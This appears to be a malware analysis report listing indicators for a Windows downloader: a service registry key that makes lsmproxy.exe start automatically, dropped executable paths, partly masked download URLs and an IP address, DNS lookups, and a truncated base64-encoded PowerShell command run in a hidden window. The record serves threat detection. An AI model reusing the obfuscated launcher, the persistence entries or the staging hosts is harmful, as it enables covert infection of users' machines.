Technical Information
- [<HKLM>\System\CurrentControlSet\Services\lsmproxy] 'Start' = '00000002'
- [<HKLM>\System\CurrentControlSet\Services\lsmproxy] 'ImagePath' = '"%WINDIR%\SysWOW64\iprop\lsmproxy.exe"'
- 'lsmproxy' "%WINDIR%\SysWOW64\iprop\lsmproxy.exe"
- 'lsmproxy' %WINDIR%\SysWOW64\iprop\lsmproxy.exe
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABXAHUAawBkAGYAaQAzAD0AKAAnAFMAcQAnACsAKAAnAHAAJwArACcAOQBpAHQAJwApACsAJwBzACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAGUAUgBQAHIATwBmAGkAbABFAFwAcABUAD...
- %HOMEPATH%\pt16vi6\bpmi5as\x5w6zls.exe
- %WINDIR%\syswow64\iprop\lsmproxy.exe
- from %HOMEPATH%\pt16vi6\bpmi5as\x5w6zls.exe to %WINDIR%\syswow64\iprop\lsmproxy.exe
- '74.##9.172.26':80
- http://www.yu###elife.com/wp/ure/
- http://al####harma247.com/wp-content/plugins/r/
- http://74.##9.172.26/5vZcC8NZA/9wvcK2NxexQqlBB29hR/
- DNS ASK yu###elife.com
- DNS ASK in###uth.com
- DNS ASK al####harma247.com
- '%HOMEPATH%\pt16vi6\bpmi5as\x5w6zls.exe'
- '%WINDIR%\syswow64\iprop\lsmproxy.exe'
- '<SYSTEM32>\windowspowershell\v1.0\powershell.exe' -e JABXAHUAawBkAGYAaQAzAD0AKAAnAFMAcQAnACsAKAAnAHAAJwArACcAOQBpAHQAJwApACsAJwBzACcAKQA7AC4AKAAnAG4AZQAnACsAJwB3AC0AaQAnACsAJwB0AGUAbQAnACkAIAAkAEUATgBWADoAdQBTAGUAUgBQAHIATwBmAGkAbABFAFwAcABUAD...' (with hidden window)